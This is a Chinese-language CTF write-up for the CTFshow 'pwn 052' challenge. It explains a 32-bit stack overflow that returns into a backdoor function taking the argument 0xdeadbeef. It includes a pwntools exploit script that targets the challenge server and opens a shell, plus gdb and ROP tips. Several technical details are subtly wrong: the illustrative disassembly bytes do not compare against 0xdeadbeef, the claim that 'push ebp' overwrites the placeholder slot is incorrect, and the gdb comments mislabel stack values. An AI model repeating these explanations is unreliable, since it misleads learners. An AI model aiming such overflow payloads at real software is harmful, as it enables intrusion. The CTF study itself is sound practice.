1. 项目概述与核心挑战
最近在复盘CTFshow的pwn系列题目,做到052这道题时,感觉它把32位环境下的栈溢出玩出了新花样。题目本身叫“pwn 052”,但核心考点远不止一个简单的栈溢出覆盖返回地址。它巧妙地融合了32位程序调用约定(cdecl)下的高级传参技巧,以及如何利用程序中一个“带参数”的后门函数。很多刚接触pwn的朋友,可能对32位和64位在传参上的区别只有一个模糊的概念,知道一个是靠栈,一个是靠寄存器,但具体到实战中,尤其是遇到这种需要精心构造参数链的题目,往往就卡壳了。这道题就是一个绝佳的教学案例,它能让你彻底搞明白,在栈空间有限、没有现成“system(‘/bin/sh’)”的情况下,如何像搭积木一样,把正确的参数值“搬运”到正确的位置,最终打开那个隐藏的“后门”。
简单来说,这道题给了一个有栈溢出漏洞的32位程序。溢出点很常规,但难点在于,程序里给你留的“后门”函数(我们通常叫它backdoor)并不是无参的,它需要一个特定的参数(比如一个魔法数字0xdeadbeef)才能触发真正的shell。这就意味着,你不能简单地用溢出覆盖返回地址为后门函数地址就完事了,你还得在栈上伪造出函数调用时的现场,包括返回地址(虽然用不上)、以及那个至关重要的参数。在32位环境下,所有参数都是通过栈传递的,这就对我们的溢出Payload构造提出了精确到字节的要求。
2. 环境准备与初步分析
拿到一个pwn题,第一步永远是信息收集。我会习惯性地用file和checksec命令先给程序做个“体检”。
$ file pwn052 pwn052: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=xxxxxxxx, not stripped $ checksec --file=pwn052 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)从输出我们能立刻得到几个关键信息:1)这是一个32位(i386)的ELF程序;2)动态链接;3)符号表没有去除(not stripped),这意味着我们可以直接用objdump或readelf看到函数名,比如main、vulnerable_function甚至backdoor,分析难度大大降低;4)安全防护方面,只开启了NX(堆栈不可执行),没有栈保护金丝雀(Canary)和地址随机化(PIE)。没有Canary和PIE对我们来说是极大的利好,因为栈溢出可以长驱直入,并且函数和代码的地址是固定的,我们可以直接使用。
接下来用反汇编工具深入程序内部。我更喜欢用objdump -d配合grep来快速定位关键函数。
$ objdump -d pwn052 | grep -A 20 "<main>:" $ objdump -d pwn052 | grep -A 30 "<vulnerable_function>:" $ objdump -d pwn052 | grep -A 15 "<backdoor>:"假设我们找到了一个名为vulnerable_function的函数,它里面使用了不安全的gets或scanf函数向一个固定大小的栈缓冲区读入数据,这就是我们的溢出点。同时,我们也找到了backdoor函数,它的反汇编可能类似这样:
08049182 <backdoor>: 8049182: 55 push ebp 8049183: 89 e5 mov ebp,esp 8049185: 83 ec 08 sub esp,0x8 8049188: 83 7d 08 ef cmp DWORD PTR [ebp+0x8],0xdeadbeef ; 检查第一个参数是否为0xdeadbeef 804918c: 75 0a jne 8049198 <backdoor+0x16> ; 不相等则跳转到返回 804918e: b8 00 00 00 00 mov eax,0x0 8049193: e8 c8 fe ff ff call 8048060 <system@plt> ; 相等则调用system 8049198: 90 nop 8049199: c9 leave 804919a: c3 ret看,关键就在这里:cmp DWORD PTR [ebp+0x8],0xdeadbeef。在32位cdecl调用约定下,函数参数从右向左压栈。调用backdoor(0xdeadbeef)时,汇编层面会先将参数0xdeadbeef压栈,然后通过call指令将返回地址压栈并跳转。进入backdoor函数后,ebp+0x8这个位置存放的就是第一个参数。所以,我们的目标不仅仅是跳转到0x08049182,还要确保在跳转时,栈顶上方4字节的位置(即[ebp+0x8],对应调用前的esp+4)正好是0xdeadbeef。
3. 栈帧布局与Payload构造原理
要构造成功的Payload,我们必须清晰地还原出函数调用发生时,栈的精确布局。让我们从vulnerable_function的视角来推演。
假设vulnerable_function的开头是这样的:
push ebp mov ebp, esp sub esp, 0x40 ; 在栈上分配了0x40字节的缓冲区 lea eax, [ebp-0x40] push eax call gets@plt ; 向缓冲区读入数据,存在溢出风险 ...当gets被调用时,它的参数(缓冲区的地址eax)已经被压栈。gets函数内部会从标准输入读取数据,一直读到换行符或EOF,它不检查边界。因此,如果我们输入的数据长度超过了缓冲区大小(这里是0x40字节),多出的数据就会覆盖栈上更高地址的内容。
那么,从缓冲区起始地址[ebp-0x40]开始,到vulnerable_function的返回地址被覆盖,中间有哪些东西呢?我们来画一个栈帧图(从高地址到低地址):
高地址 ... [ebp+0x8] <- 可能的上一层函数的参数(如果有) [ebp+0x4] <- 上一层函数的返回地址(对我们无用) [ebp] <- 保存的ebp (old ebp) <- 当前ebp寄存器指向这里 [ebp-0x40] <- 缓冲区开始地址 ... [ebp-0x01] <- 缓冲区结束地址 低地址当vulnerable_function执行leave(相当于mov esp, ebp; pop ebp)和ret(相当于pop eip)指令准备返回时,esp会指向[ebp]的位置。pop ebp会恢复旧的ebp值,同时esp上移4字节,指向[ebp+0x4],也就是保存的返回地址。紧接着的ret指令会把这个地址弹出到eip,程序就跳转到那里执行。
所以,我们的溢出Payload需要覆盖从缓冲区开头一直到返回地址之后的空间。具体偏移量计算如下:从[ebp-0x40]到[ebp]是0x40字节。[ebp]处存放的是old ebp,占4字节。所以,覆盖old ebp需要4字节。再之后,从[ebp+0x4]开始,就是返回地址的位置。
因此,Payload的基本结构是:[0x40字节垃圾数据] + [4字节覆盖old_ebp] + [4字节目标返回地址]
但我们的目标不仅仅是覆盖返回地址,还要模拟一次对backdoor(0xdeadbeef)的调用。在32位cdecl下,一次call指令会做两件事:1)将下一条指令的地址(返回地址)压栈;2)跳转到目标函数。而参数是在call之前压栈的。
所以,当我们希望程序流从vulnerable_function的ret指令直接“跳入”backdoor函数并让它认为自己是正常被调用时,我们需要在栈上伪造出这样一个调用现场:
(低地址) (高地址) ... | 垃圾数据 | old_ebp | backdoor_addr | 返回地址(随意) | 参数1(0xdeadbeef) | ... ^ ^ 缓冲区起点 ret指令执行时esp指向这里解释一下:
ret指令执行时,esp指向的是我们覆盖的backdoor_addr。ret会将其弹出到eip,程序跳转到backdoor。backdoor函数开头执行push ebp; mov ebp, esp。此时,ebp被压栈(这会覆盖掉我们Payload中backdoor_addr后面的4个字节,所以那4个字节可以是任意值,通常用aaaa填充),然后ebp被设置为当前的esp。- 在
backdoor函数看来,[ebp+0x8]就是它的第一个参数。那么,[ebp+0x8]对应的是栈上哪个位置呢?就是backdoor_addr地址再往后数8个字节(ebp本身占4字节,backdoor的返回地址占4字节,然后才是参数)。所以,我们必须在backdoor_addr后面再填充8个字节,其中后4个字节就是0xdeadbeef。
因此,最终的Payload结构应该是:payload = b'A' * (0x40 + 4) + p32(backdoor_addr) + p32(任意值) + p32(0xdeadbeef)
这里b'A'*(0x40+4)填满缓冲区并覆盖old_ebp,p32(backdoor_addr)是覆盖的返回地址,p32(任意值)是backdoor函数眼中自己的返回地址(因为我们是“强行”跳入的,这个返回地址用不上,可以填0xcccccccc或aaaa),p32(0xdeadbeef)就是传递给backdoor的参数。
注意:这里有一个非常关键的细节,也是新手最容易出错的地方。
backdoor函数开头的push ebp会改变栈顶esp。在我们构造的栈布局中,backdoor_addr后面的4个字节(我们填的任意值)会被这次push覆盖掉。但这没关系,因为函数根本不会去使用这个位置的数据作为有效返回地址(它不会ret到那里)。我们填充它只是为了占位,确保0xdeadbeef在正确的偏移[ebp+0x8]上。
4. 动态调试与偏移验证
理论推演很重要,但动调(动态调试)才是检验真理的唯一标准。我强烈建议在构造最终Exp前,用gdb或pwndbg验证一下偏移和栈布局。
首先用gdb打开程序,在vulnerable_function的ret指令处下断点。
gdb-peda$ b *vulnerable_function+xxx (替换为ret指令地址) gdb-peda$ r < <(python -c 'print "A"*100')程序运行后会断在ret指令前。此时查看栈内存:
gdb-peda$ x/20wx $esp你应该能看到一大片0x41414141(‘A’的ASCII码)。找到这片0x41结束的地方,紧接着的4个字节就是即将被ret弹到eip的地址。计算从缓冲区开始到这个位置的偏移,是否等于我们推算的0x40+4?这步验证能确保我们精准覆盖返回地址。
然后,我们可以手动修改内存,模拟Payload。假设我们找到了backdoor的地址是0x08049182。
# 假设esp指向0xffffd00c,这里将是ret的返回地址 gdb-peda$ set *0xffffd00c = 0x08049182 # 设置“伪造的返回地址” gdb-peda$ set *0xffffd010 = 0xcccccccc # 设置参数 gdb-peda$ set *0xffffd014 = 0xdeadbeef然后单步执行(ni),跳转到backdoor。再单步步入(si),进入backdoor函数内部。执行到cmp [ebp+0x8], 0xdeadbeef时,检查ebp+0x8指向的内存值是否为0xdeadbeef。
gdb-peda$ x/wx $ebp+8如果显示0xdeadbeef,恭喜你,栈布局完全正确!这种动态验证的方法,能让你对栈的变化有肌肉记忆般的理解。
5. 完整利用脚本编写
经过分析和调试,我们已经掌握了所有要素。现在用pwntools编写最终的利用脚本。pwntools是pwn手的瑞士军刀,能极大简化交互、打包数据等过程。
#!/usr/bin/env python3 from pwn import * # 设置上下文,指定架构为i386,这会影响p32/p64等打包函数 context(arch='i386', os='linux', log_level='debug') # 连接方式:本地文件或远程服务 # io = process('./pwn052') # 本地测试 io = remote('pwn.challenge.ctf.show', 28201) # 远程连接,端口需根据题目调整 # 关键地址 backdoor_addr = 0x08049182 # 需要根据实际题目替换 magic_param = 0xdeadbeef # 需要根据实际题目替换 # 计算偏移量 buffer_size = 0x40 # 假设的缓冲区大小,需根据实际调整 offset_to_ret = buffer_size + 4 # 缓冲区 + old_ebp # 构造Payload payload = b'A' * offset_to_ret payload += p32(backdoor_addr) # 覆盖返回地址为backdoor函数地址 payload += p32(0xcccccccc) # 伪造的返回地址(占位用) payload += p32(magic_param) # backdoor函数的参数 # 发送Payload io.sendline(payload) # 切换到交互模式,获得shell后可以手动输入命令 io.interactive()脚本说明:
context(arch='i386'):至关重要,告诉pwntools这是32位程序,这样p32()函数才会打包出4字节的小端序数据。offset_to_ret:这是我们计算出的到返回地址的精确偏移。务必通过动态调试确认。p32():将整数打包成4字节的小端序格式。这是32位pwn的标配。payload结构:严格按照我们之前分析的布局构造。io.interactive():在发送完Payload后,将控制权交还给用户,以便在获得的shell中执行命令。
6. 拓展与高阶技巧
成功拿到shell固然开心,但这道题的价值远不止于此。我们可以借此深入思考几个更普遍的问题:
1. 参数不止一个怎么办?如果后门函数是backdoor(0xdeadbeef, 0xcafebabe),需要两个参数呢?根据cdecl约定,参数从右向左压栈。所以栈布局应该变成:... | backdoor_addr | ret_addr_placeholder | param2(0xcafebabe) | param1(0xdeadbeef) | ...即[ebp+0x8]是第一个参数,[ebp+0xc]是第二个参数。在Payload中,就需要在伪造的返回地址后连续放置两个参数。
2. 如何动态获取地址?我们的脚本里硬编码了backdoor_addr。如果程序开启了PIE(地址随机化),每次加载的基址都不同,这个地址就是错的。在32位非PIE情况下这不是问题,但作为一种通用技能,我们需要知道如何获取。如果程序输出了某个已知函数的地址(比如puts的GOT表地址),我们可以通过计算与backdoor的相对偏移来得到其真实地址。这涉及到GOT/PLT和libc的知识,是另一个重要话题。
3. 没有后门函数,只有system@plt怎么办?这是更常见的情况。你需要自己构造参数,通常是字符串/bin/sh的地址。这需要你在内存中(比如通过溢出写到.bss段,或者寻找现成的字符串)找到或写入这个字符串,然后把它的地址作为参数传递给system。这就引出了ROP(Return-Oriented Programming)技术,通过串联程序已有的代码片段(gadgets)来一步步设置参数、调用函数。32位ROP因为参数在栈上,构造起来比64位(参数在寄存器)有时更直观,但需要更多的gadgets来“抬栈”或调整栈指针。
4. 关于old_ebp的覆盖在我们的Payload中,我们用AAAA覆盖了old_ebp。这通常不会造成问题,因为backdoor函数返回时,会恢复这个被覆盖的ebp值到寄存器。如果backdoor函数后面还有其他函数调用,或者它自己使用了基于ebp的栈帧访问,一个无效的ebp值可能导致程序在backdoor函数返回后崩溃。但在我们这道题里,backdoor调用system后就直接进入shell了,不会返回,所以无关紧要。但在更复杂的利用链中,可能需要精心构造一个合法的、可用的ebp值,这通常指向一个稳定的、可写的内存区域。
7. 常见踩坑点与排查清单
即使思路清晰,实际编写和运行Exp时也难免遇到问题。下面是我总结的几个常见坑点和排查步骤:
偏移量计算错误:这是最普遍的问题。
buffer_size可能不是直接的0x40,编译器可能会有栈对齐填充。务必使用模式字符串(pattern)来精确计算。可以用pwntools的cyclic和cyclic_find功能,或者msf-pattern_create和msf-pattern_offset。# 使用cyclic生成测试字符串 from pwn import * context(arch='i386', os='linux') io = process('./pwn052') payload = cyclic(200) io.sendline(payload) io.wait() # 程序崩溃 # 从core dump或崩溃信息中获取eip的值,比如是0x6161616c offset = cyclic_find(0x6161616c) # 查找这个值在pattern中的位置 print(f"Offset to eip is: {offset}")字节序问题:
p32()默认生成小端序(Little-Endian),这对于x86/x64架构是正确的。但如果你手动拼接字符串,比如\x82\x91\x04\x08,要确保顺序正确(地址的低字节在低内存地址)。栈对齐问题:在某些系统调用或特定函数调用时,栈指针
esp可能需要满足特定的对齐要求(如16字节对齐)。虽然这道题可能不涉及,但在更复杂的ROP中,如果system调用失败,可以尝试在跳转前增加一个ret指令的gadget来微调esp。输入处理问题:程序使用的输入函数是
gets吗?还是fgets、read?gets会读入换行符\n并替换为\x00,而fgets也会读入\n。read则不会在末尾添加任何东西。如果Payload中包含\x00或\n,可能会被截断。确保你的Payload中不包含这些可能被解释为终止符的字节。动态链接与libc版本:如果
backdoor里调用的是system,而system函数位于libc中。不同环境(本地、题目服务器)的libc版本可能不同,导致system函数的偏移地址不同。在本地打通的Payload到远程可能失效。对于远程题目,通常题目提供的环境是确定的。如果怀疑是libc问题,可以尝试从题目附件中提取libc文件,或者使用题目可能提供的libc信息。调试技巧:在远程利用时,看不到输出怎么办?可以在Payload中加入一段“蛋”(egg)或者尝试让程序崩溃前输出一些内存信息。例如,可以尝试覆盖返回地址为
puts@plt,并设置参数为某个已知地址,来泄露内存内容。这属于信息泄露(Infoleak)的范畴,是绕过ASLR等防护的关键。
这道“pwn 052”就像一把钥匙,帮你打开了理解32位栈溢出和参数传递的大门。它剥离了复杂的内存布局和防护机制,让你专注于最核心的调用约定和栈操作。掌握它,不仅是解出一道题,更是为后续面对更复杂的漏洞利用场景,打下了坚实的思维基础。下次再看到32位的程序,你脑子里应该能立刻浮现出那张栈帧图,以及参数是如何一个个被压入栈中的画面。这才是练习的意义所在。